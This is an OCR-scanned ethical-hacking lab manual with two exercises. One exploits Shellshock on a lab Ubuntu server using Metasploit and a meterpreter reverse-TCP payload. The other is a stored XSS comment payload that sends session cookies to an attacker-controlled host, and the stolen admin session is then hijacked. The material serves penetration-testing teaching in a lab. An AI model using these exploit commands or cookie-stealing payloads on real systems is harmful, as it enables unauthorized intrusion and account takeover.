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A webserver, which can be referred to as the hardware, the computer, or the software, is the
computer application that delivers content that can be accessed through the Internet.
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Hacking web applications refer to gaining unauthorized access to a website or its associated data.

Task 1: Performing Shellshock Exploitation on a Web Server and Gaining Unrestricted
Access to the Server

Shellshock is a family of security bugs in the Unix Bash shell, which affects Bash, a program that
various Unix-based systems use to execute command lines and command scripts.

Lab Scenario

To be an expert ethical hacker and pen tester, you must understand how to test the security
architecture of a Unix system in order to safeguard it from attacks as Shellshock.

Lab Objectives
This lab helps students learn how to:
e Test Ubuntu Server for Bash Vulnerability
e Exploit the vulnerability and ain control over the system.

Pre- Activity exercise

To carry out the lab, you need:
e Test Ubuntu Server for Bash Vulnerability
e A virtual machine running Kali Linux

Overview of Shellshock

Shellshock is often installed as the system’s default command-line interface. In Unix and other
Oss that Bash supports, each running program has its own list of name/value pairs called
environment variables for the new program.

Activity:
Note: Screenshot may varies from the one in this lab.
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L. In this lab, we will be using Kali Linux and Ubuntu Server machines.
S0, before beginning this lab, vou need to ensure that vou have
hunched both the machines.

2. Taunch the Iceweasel web browser and enter the URL
htto: /S 10.0.0.4 /cgi-bin/shellshock,

3. Ashellshock webpage appears, as shown in the following screenshot

lceweasel

ile Edit View History Bookmarks Tools Help
"I httpiff10,0,0,44...i-binishellshock | o |

Id— 1000047 cqi-bin'shellshock ' c] l‘-" Goagle ':1.] {L‘ q'-':? 1:;‘

=

i Most Visited>  JOffensive Security &, Kali Linux s, Kali Docs ﬂExpluit-DB W Aircrack-ng

his iz a demonstration of shellshock

FIGURE 5.1: Browsing the shellihock webpagre

Note: The IP address 10.0.0.4 mentioned in the URL refers to the Ubuntu
machine, This IP address might vary in your lab environment,

4. You will be using this URL to attack the Ubuntu machine. Minimize or
dose the web browser.
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o

. Opena terminal conscle by navigating to Accessories = Terminal.
Mote: You can also elick ! (the Terminal icon) in the menu bar to
hunch the command line terminal.

Applications  Flaces g [==] FriDec 6, 12:09 AM

E Calculatar
>

|="| Character Map

Contacts
B8 Hamradio 3 g

- % Desktop Search

W OFF
|
R Kali Lirax E

sk Lgility

J"E ACCEssaries

+E Electromcs

“"E Graphics ¥

Files
L o Pragramming E
Gseriptor
Ej Sound & Vidao b
! 1_:@": EWim
3 System Tools »

L # Hel
ﬂ Linivarsal Accass » X P
= Leafpad

= Main Menu
e

B ooz 2
Bl Root Terminal
EJ screenshor

EI Terminal

FIGLURE

. Enter the command service postgresqgl start.

root@kali: ~

File Edit Weew Search Terminal Help

war: main.

FIGURE 5.3: Starting postrresygl service

. Enter the command service metasploit start.

roatidkalis ~

FIGURE 54: Starting the Metagploit service
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. Enter the command msfeconsole.

roop@root =

Edht W Search larminal Help

*

rustrated with g v pd ing¥ Upgradsa
http

FGURE 5.5 Launching: msfoansale
9, Enter the command:
use exploittmulti'http/apache_mod_cgi_bash_env_exec.

This will ser the exploit multi/http/apache_mod_cgi_bash_env_exec.

rated with

Lana e Hiryr mysbonnsale
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10). Enter the following commands:
set LHOST 10.0.0.7
set RHOST 10.0.0.4
set TARGETURI /cgi-bin/shellshock
set payload linux/x86/meterpreterreverse_tcp

LHOST refers to the [P address of the atracker machine ‘Kali Linux)
and RHOST refers to the [P address of tarpet machine (Ubuntu). Boch
the IP addresses may vary in vour lab environment.

armn mare

g -

12. By issuing the expleit command, the Ubuntu server (hostng the
shellshock webpage) will be hacked instantdy and come under the
control of the victim machine.

13, Enter exploit.

3 with

'_

reters

[".E-II.IR.E.. ':?:: .-"'_'r.'.:II'.T.E::!E :".JG!"::IE.'-.:E:I::
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14, This establishes a meterpreter session, as shown in the following

screcnshot:

roctifroot: =

Help

:.:': :"\-|:.':r!"r:.':r 5';‘255;”:: E..,' .'-.E'!:E:'E'.E:‘I

FIGURE

i

15, You can now view files and directories located in the machine; delete,
upload, and download files to and from the machine; execute
; list the processes; interact with those processes;

applications remotely
launch a shell; reboot or dhutdown the machine, etc.
16. Enter sysinfo. This displays the information for the vietim (Ubuntu)

machine, as shown in the following screenshot:

roctiiroot:

Search Terminal Help
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17. Enter help. This lists all the commands thar can be issued through the
meterpreter conscle, as shown in the following screenshot:

rectiroot: =

Edit View Search Terminal Help

about a Fast module

18, You can use any of these commands to perform various malicious

activities.

Document the output
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Task 2: Using Stored XSS attack to Hijack an Authenticated User Session

Stored attacks are those in which the injected script is permanently stored on a target server,
such as in a database, in a message forum, visitor log, or comment field. The victim then
retrieves the malicious script from the server upon requesting the stored information.

Lab Scenario

Stored cross-site scripting attacks are persistent, in that they reside on the target
server untl their existence is detected and removed. When an organizatgon’s
employee unknowingly becomes victim to this script, attackers gain the vicum’s
session 1D and thereby commandeer the victim’s session without even logging into
the application.

As an Ethical hacker or Penetraton Tester, you need to safeguard a website from
executing such malicious scripts and thereby protect user sessions from being stolen.

Lab Objectives
The objective of this lab is to help students learn how to test web applications for vulnerabilities.
In this lab, you will:

e Stored cross-site scripting

Pre- Activity exercise

To carry out the lab, you need:
e MovieScope website configured during the lab setup
e GoodShopping website configured during the lab setup
e Windows host machine
e Windows Server2008 or Windows 7 or Windows 10an Attacker Machine
e Windows Server2008 or Windows 7 or Windows 10 as a Victim Machine
e Microsoft SQL server 2012 or later

e A web browser with an Internet connection

Overview

Web applications provide an intetface between end users and web servers through a
set of web pages that are generated at the server end or that contain script code to
be executed dynamically within a client web browser.
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Activity:
Note: In this lab, assume that GoodShopping is the attacker’s website,

whose default.aspx webpage acts as the redirected page when a user clicks
the stored XSS embedded malicious link.

1. Assume that you are an attacker, and log into the Windows virtual
machine.,

2. Launch Firefox browser, type the URL https://addons.mozilla.org/en-
US /firefox/addon/firebug in the address bar, and press Enter.

A The Firehuo add nnswehnqoe appears; click Add to Firefox.
https://addons.mozilla.org/en-Us/firefox/addon/firebug

ﬁ Firebug :: Add-ons for Firef... = 'l,\_-l‘-

€ | @ Mozilla Foundation (Us] | https+//addons.mozilla.org/en-LS/ firefox/add Z - Google 2 E ¥+ &
P ) '

-
Register or Login Other Applications ~

ADD-ONS

EXTEMSIONS | THEMES | COLLECTIONS | MORE..

Q sear

Welcome to Firefox Add-ons. Choose from thousands of extra features and styles to make Firefox your own.

» Extensions » Firebug

@ Firebug =.0.2

by Joe Hewitt, Jan Odvarko, robeee, FirebugWorkingGroup

Firebug integrates with Firefox to put a wealth of development tools at your fingertips
while you browse. You can edit, debug, and monitor CSS, HTML, and JavaSeript live in
any web page...

. + Add to Firefox

FIGURE 2.1: Navigating to firebug download page
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4. 'The add-on begins to download, as shown in the screenshot:

8 Firebug :: Add-ons for Firef.., x

& | B - Google =R B =] -+ 13 =

" o
Add-on downloading Register or Login | Other Applications ™

6 seconds remaining — 1.6 of 4,0 MB (842 KB/sec)

Welcome to Firefox Add-ons. Choose from thousands of extra features and styles to make Firefox your own.

» Extensions » Firebug

Firebug =.0.3

by Joe Hewitt, Jan Odvarko, robeee, FirebugWorkingGroup

Firebug integrates with Firefox to put a wealth of development tools at vour fingertips
while yvou browse. You can edit, debug, and monitor CSS, HTML, and JavaScript live in

any web page...

4+ Add to Firefox

FIGURE 2.2: Downleading the add-on

5. On completion of the download, a Software Installation dialog-box
appears; click Install Now.

Install add-ons only from authors whom you trust.

Malicious software can damage your computer or violate your privacy.

You have asked to install the following item:

ﬁ Firebug (Author not verified)
v https://addons.mozilla.org/firefox/downloads/latest/1843/addon-1843-latest.xpilsrc=

Install Noww
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6. On successful installation, an extension pop-up appears, and a new tab
opens displaying the Firebug webpage. Close the browser.

% Firebug :: Add-ons for Firef.. % | %% Firebug

{' @ Mozilla Foundation (US]  https:y/faddons.mozilla.orgien-Us/fin 7 & EY - Google 2 5:.]’ E 4+ W | - =
- L

i Firebug has been installed successfully. Register or Login Other Applications «

= You can access your add-ons on all your
W devices with 5ync. Leam More Q. search for add-o

Welcome to Firefox Add-ons. Choose from thousands of exira features and styles to make Firefox your own.

& » Extensions » Firebug

i Firebug =.0.3

by Joe Hewitt, Jan Odvarko, robcee, FirebugWorkingGroup

Firebug integrates with Firefox to put a wealth of development tools at yvour fingertips
while you browse. You can edit, debug, and monitor CSS, HTML, and JavaScript live in
any web page...

+ Add to Firefox

FIGURE 2.4: Firebug extension pop-up
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Re-launch the browser, type httpz//iwww.moviescope.com in the
address bar, and press Enter.

8. The MovieScope login/home page appears, as shown in the screenshot:

Home Features Trailers Photos Blog Contacts

Moviescope

Username:

Password:

FIGURE Z.3: MovieScope Lt;gi."l_.-"ﬁu:ﬂ& page
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9. Log into MovieScope as a user, with the following credentials:
Username: steve

Password: test

Home Features Trailers Photos Blog Contacts

FIGURE Z.6: Logging in to MovieScope
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10. You are logged in as a general user. Note that you do not have admin
privileges.

11. Click on Blog tab.

| [Ef Home - MovieScope x U=

L € ﬁ B e mioviescope.comind e asp

Home Features Trailers Wwelcome steve, Wiew Profile

Tron Legacy \ g Y — ¥ _,' Featured Movie Trailers

Erat wvolutpat

Daonec sit ame

FIGURE 2.7: Clicking on Blog tab
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12. The Blog page appears; scroll down to the Leave a Comment section,
enter the following querv in the Comment ficld, and click Submit
Comment.

<a
onclick="document.location="http://10.0.0.2/GoodShopping/Default.
aspxrcookie="+escape(document.cookie);" href="#"> Please click
here to visit website </a>

Note: 10.0.0.2 is the IP address of the machine where the website is
hosted in this lab environment. You need to replace this IP address with
the IP address of the Windows Server 2012 machine hosting the site.

5am says:

Hello, Moviescope users

Replace this IP addres with
the IP address of machine
where website is hosted.

9/6/2014 2:26:38 PM

Leave a Comment

=3 0nclick:“document.lncatinn:‘http:fﬁ[].ﬁ'.'trl.z
IGaodShopping

iDefault aspx?cookie="+escape(document cookie),”
href="#"= Please click here to visit website =/a=

Comment

Submit Comment »

FIGURE 2.8 Entering the Stored X585 seript in the vulnerable field
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13. A comment link is posted, stating “Please click here to visit website”
(as we have stated this comment in the query posted in the previous

step).

steve says:

Please click here to visit website

9162014 5:00:12 PM

john says:

Hi sam

FIGURE 2.9: comment link that contains the stored X858

14. Now, whenever a user who has logged into the website wvisits this
webpage (Blog webpage) and clicks on the link, the malicious script
running behind the link is activated, and the user will receive an email in
the account specified at the time of setung up the GoodShopping
website in the lab environment.

15. So, open a new tab, and log into the email account.

16. The email contains the cookie name along with its value. An attacker
makes use of these values to hijack an authenticated user session.

17. Now, log into the Windows Server 2008 machine as a victim.

18. Launch TFirefox, tvpe http://www.moviescope.com in the address bar,
and press Enter.

19. The MovieScope login/home page appears.
20. Log into the website as the admin user, with the following credentials:
Username: sam

Password: test
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m Login - MovieScope

(' [ . v moviescope.com

Home atur Photos : Contacts

Moviescope

Username: £l I

FIGURE 2.10: Logging into MovieScope
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21. As the admin user, observe that the web page displays vour role
(Admin) next to Logout. Click on the Blog tab:

Moviescope i) Logout |

Home Features Trailers Photos Blog Contacts

View Profile

Tron Legacy Featured Movie

Erat volutpat duis ac turpis. Trailers

Donec sit amet eros lorem...

i D

The Vampire Diaries

FIGURE 2.11: MovieScope website successfully lopged in
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22. The Blog webpage appears in the browser window. Scroll down the
page, and click Please click here to visit website.

J.J. Abrams’ Star VWars Episode VIl starts filming in a few months &
and Disney teams have been hard at work trying to put together a ¢
is many of the roles will go to unknowns, with a few choice roles ga

Two names have now been revealed as possibly being up for roles i
Those names are Ryan Gosling and Zac Efron

Steve says:

Please click here to visitwebsite

8/5/2014 7:54.18 PM

Leave a Comment

FIGURE 2.12: (Jicking the malicious link

23. As soon as the admin (“sam”) clicks the link, the malicious script
embedded behind the link is activated and an email is the sent to
attacker’s email ID (ie, the ID vou specified at the ume of
GoodShopping’s website configuration).

Dr Carlene Campbell Page 20 of 35



24. The admin (vicum) is redirected to GoodShopping website’s
Default.aspx web page. Seeing the blank/unavailable web page, he/she
clicks here link to go back to the previous page, being unaware of the
fact that an attack has been performed to steal the cookie.

Sorry, This site is not availabe.

Please click to go back

FIGURE 2.13: Returning back to the previcus page
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Home Features Trailers Photos Blog Contacts

“Welcome sam,  View Profile

Homa » Blog » Fullwidth Blog

Indie Game

By &lan Smith | Jul 18, 2012 | in Trailers, Drama. Mews | 3 Comments

The Movie was one of the ten best films | saw last year. Currently available on Metflix, the

FIGURE 2.14: Stored X553 attack performed

Note: Do not log out of the website during this lab.
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25. Now, switch back to the Windows 8.1 (attacker’s) virtual machine, and
open the email window. Observe an email in the inbox with the subject
Cookie Stealing, and open the email.

m Blog - MovieScope Jt/ Pl Inbex (3.831) - rini x\ +

{- & hitps://mail.google.com/mail/u/ 0 Zinbox c ‘G:og:'s P ‘i} B ¥+ # 2 | - —

Go gle “ |\ B ) [chae

Gmail - 1-100 of 4,036 <

COMPOSE & Primary i Social ¥ Promotions

Inbox (3,831)
Stamred
Important

Cookie Stealing - Cookies detecte & 10:02 pm

[

FIGURE 2.15: Email in the inbox with the subject named Cookie Stealing
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Note: If you do not find the email in the Inbox, refresh the page once or
twice.,

26. The email contains a message displaying the cookie name and cookie
value together, as shown in the screenshot:

[H Blog - MovieScope x/M Cookie Stealing - rini x\+

€ | @ hitps//mail. google.com/mail/u/0/Zinbox” v & | B~ Google P B ¥+ A& = - =

GD gle “ wRini I A Share ;

Gmail ~ o 3 - - Q-

COMPOSE Call Of Paper - iosrjournals.org - Publish Your Research Article In Intemational Why this ad?

Inbox (3,833) . ]
Starred Cookie Stealing ]

Important ]
rini @gmail.com 4:37 AM (5 minutes ago) - v

to me =

Cookies detected from Moviescope website

TR LR B R mscope=1jWydNf8wro=

Click here to Reply or Forward

FIGURE 2.16: Cookie details stored in the mail

Dr Carlene Campbell Page 24 of 35



Note: The cookie name remains constant, while the cookie value might
vary in vour lab environment.

27. Now, switch to the MovieScope tab. Note that steve is a general user,
not an admin.

28. Click the View Profile tab.

Features Trailers Photos Contacts Welcome View Profile

Tangled

sit amet eros lorem

FIGURE 2.17: Ulicking View Profile Tab
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29. Observe that steve’s profile is displaved. Now, click the Firebug icon at
the top-right corner of the browser window.

Features Trailers Photos Blog Contacts Welcome steve,  View Profile

steve pr{!ﬁ le Featured Movie Trailers

D: 4

First Name: steve

Last Name: jobs

Email: steve@ahc.com

Gender: male

FIGURE 2.18: Viewing Steve’s Profile
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30. The Firebug panel appears in the lower part of the window. Display the
Cookies tab, then click Enable.

Note: If cookies are already enabled, skip to the next step.

%2 ‘Y € > )= cConsole HIML (CSS Scipt DOM  Met

Cookies Panel is disabled

Use Firebug's toolbar button to enable/disable all panels at once. Use each panel's tab menu for individual control.

FIGURE 2.19: Viewing Cookies tab
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31. A list of cookies 1s displaved, as in the screenshot:

Ol s —
#7 L} ( b - Console HTML €55 Script DOM  Net | Cookies =

l# | Cookies = Filter = Default (Accept cookies) =

Hame & Value | Domain Raw Size Path Expires
| ¥ mscope 7EOxhXalfzc 10.0.0.2 18B i Session

# wi-tabs-1 ¢ 10.0.0.2 10B fmoviescopef  09/13/2014, 4:47:12 AM

FIGURE 2.20: Frebug panel displaving cookies
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32. Note that you need to change the cookie value, the status of which (in
the Expires column) is Session.

2 ¥ ¢ > = :
B f= Console HTML 55 Script DOM  Net | Cookies =

¢ | Cookies = Filter = Default (Accept cookies) =
Name 4 Value | Demain Raw Size
| ® mscope FEQxhXalfzc 10.0.0.2 13B
¥ vi-tabs-1 O 10.0.02 10B 13/2014, 4:47:12 AM

Cookie status
set as Session.
Edit this cookie.

FIGURE 2.21: Cookie containing session
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33. Right-click mscope, and select Edit.

L —
2 Y £ > = conscle HIML 5 Saipt  DOM

l# | Cookies - Filter = Default (Accept cookies) -

| Name 4 Value | Domain

{ mscope | 7EOuMeUzc=  10.00.2  18B

® ui- Cut 108 jmoviescope/  09/13/2014, 4:47:12 AM

Copy
Paste

Copy All

Delete

Edit

Clear Value

Break On 'mscope’ cookie

Usze in Cermmand Line

Inspect in DOM Panel
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34. An Edit Cookie pop-up appears; as already stated, the cookie name
(mscope) remains constant for the website. Enter the cookie value that
you received in the email, and click OK.

mscope

10.0.0.2
/

-

09/ 6/ 20145 o [ 6 06 44AM|: Session

1jWydNf8wro=

[ | URL encode value
] Secure Cookie [_] HTTP Only

Cancel

FIGURE 2.23: Edit Cookie pop-up
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35. The cookie value is changed, as shown in the screenshot:

Moviescope

. gl % —
e 'a‘ ( £ I= Console HTML 55 Sdaipt DOM

- Cookies = Filter = Default (Accept cookies) -

| Mame 4 Value | Domain  Raw Size Path Expires
# mscope e 10.0.0.2 138 ! Session
# ui-tabs-1 [ 10.0.0.2 108 fmoviescope/ 0971372014, 4:47:12 AM

FIGURE 2.24: Cookie value edited
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36. Press F5 to refresh the page, and then click & at the right edge of the
firebug panel to deactivate the add-on.

# % € > D= console HIML OS5 Saipt DOM  Net | Cooldes v

l¢ | Cookies = Filter = Default (Accept cookies) =

m 4 Value | Domain | Raw Size Expires

# APISID TOhOPhs! | google.com 4B 09/04/2016, 2:41:29PM

* GAPS L:owclZl wavw.google.com 538 09/04/2016, 2:24:40PM  HUpOnly
® GoogleAccountsLocale_session =n venw . googhe.com 208 Session HitpOnly
[# HSID “RodGyl | google.com 218 09/04/2016, 2:41:29PM  HtpOnly
% NID §7=cYaSh google.com 176 B 03/07(2015, §:41:29PM  HittpOnly
# PREF ID=551d1 .google.com 858 09/02/2016, 5:34:53 AM

[ PREF ID= 3 googhe.com 78 09042016, 6:08:52 AM

# SAPTSID U _.google.com 418 09/04/2016, 2:41:29 PM

* SID DOAAADL .google.com 334B 09/04/2016, 9:41: 29 PM

# SSID AUDZivVD  .google.com 218 02/04/2016, 9:41:29PM  HittpOnly
# __utma 15614778 player vimeo,coms0 B 09/04/2016, 11:08:19 PM

o

e T T T T e ey e e

FIGURE 2.25: Refreshing the webpage
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37. The user name has changed to sam (admin) and you have logged into
his session. Display the View Profile tab.

Features Trailers Photos Contacts Welcome[sam] | View Profile

steve profile

D 4

First Name: steve

Last Mame: jobs

Email: steve@abe.com

Gender: male

FIGURE 2.26: Sarm’s User session established
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38. sam’s profile is shown, as in the screenshot:

Moviescope I

Features Trailers Photos Contacts View Profile

sam pmﬁle Featured Movie Trailers

1D: 1

First Name: sam

Last Mame: houston
Email: sami@abe.com
Gender: male

Date of Birth: 10-10-1975

Age: 38

Iron Man Trailer

Address: Washington DC

FIGURE 2.27: Sam’s Profile

39. This implies that vou have implemented the stored XSS attack,
successfullv hijacked the admin account’s user session, and logged into
it without any credentials.

40. So, whenever someone visits the Blog web page and clicks the link, their
corresponding session cookies are immediately sent to the attacker’s
email 1D, and the attacker can use the cookie values to gain
unauthorized access to currently logged-in victims’ accounts.

Lab Analysis

Analyze and document the results related to this lab exercise. Provide vour opinion
of vour target’s secutity posture and exposure.
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